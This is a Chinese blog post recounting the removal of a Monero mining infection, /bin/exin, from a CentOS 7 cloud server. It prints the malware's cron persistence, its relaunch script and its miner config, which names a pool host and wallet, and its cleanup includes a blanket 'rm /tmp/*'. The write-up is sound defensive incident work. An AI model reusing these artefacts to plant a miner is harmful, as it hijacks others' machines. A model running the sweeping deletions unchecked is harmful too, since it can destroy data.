清除Linux centOS7挖矿病毒

由于最近想要在阿里云服务器上部署下自己的项目,发布项目到服务器上之后项目一直崩溃,一看top,有一个exin的进程占了99%

 

未明确该应用如何被安装到了服务器上,可能是因为docker下载其他镜像文件时,病毒被一并安装。

先杀进程(kill该进程之后i一小时之后进程会重新打开,光杀进程不够)

kill -9 26136

找到运行的进程,确定进程位置为

/bin/exin
$ ps -a |grep 进程号

删除程序,直接删除不成功,必须先执行 chattr -ia exin

$ sudo chattr -ia /bin/exin
$ sudo rm -rf /bin/exin

过了一会,又死灰复燃,晕~

排查 定时任务,的确有异常!

$ cat /var/spool/cron/root 
MAILTO=''
*/19 * * * * /etc/cron.hourly/agetty >/dev/null 2>&1
1
2
3
$ cat /etc/cron.hourly/agetty 
#!/bin/sh
if [ "$(pgrep -f /bin/exin|wc -l)" -eq 0 ]; then
nohup /bin/exin >/dev/null 2>&1 &
fi

删除定时任务,也许可以解决了吧?

$ sudo rm /etc/cron.hourly/agetty 
$ sudo rm /var/spool/cron/root

重启系统后,问题依旧,逛晕~~~~,继续排查 /bin 目录,发现有个config.json

$ sudo vi /bin/config.json
{
    "av": 0,
    "background": true,
    "cpu-affinity": null,
    "cpu-priority": 5,
    "donate-level": 1,
    "log-file": null,
    "max-cpu-usage": 100,
    "print-time": 30,
    "retries": 3,
    "retry-pause": 10,
    "safe": false,
    "threads": null,
    "pools": [
        {
            "url": "epel-mirror.duckdns.org:443",
            "user": "4AncaLQuvBThfLuhdhaKh1Pr3ix2547SKYLCQnjJVjNw5mciYYZ7zpeMiD9TS4JYFGBHuyESm9ZEpdpnkK2DMZanJ6rvj2p",
            "pass": "z",
            "algo": "rx/0",
            "coin": "monero",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "variant": -1,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null
        }
    ],
    "api": {
        "port": 0,
        "access-token": null,
        "worker-id": null
    }
}

删除 config.json,重启后终于解决了。 

$ sudo chattr -ia /bin/config.json
$ sudo rm /bin/config.json

查看/tmp 目录,如果有相关文件,一并删除。

  

$ sudo rm /tmp/*

汇总:

删除程序,直接删除不成功,必须先执行

chattr -ia exin

解决方法,需要删除的文件

$ sudo chattr -ia /bin/config.json
$ sudo rm /bin/config.json
$ sudo chattr -ia /bin/exin
$ sudo rm -rf exin
$ sudo rm /etc/cron.hourly/agetty 
$ sudo rm /var/spool/cron/root
$ sudo rm /tmp/*

最后,对一下两篇文章作者深感佩服以及由衷的感谢,文章个别代码引用自以下两篇文章

Linux 挖矿病毒 /bin/exin_Billy的专栏-CSDN博客

https://blog.csdn.net/Amy126/article/details/103779198

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值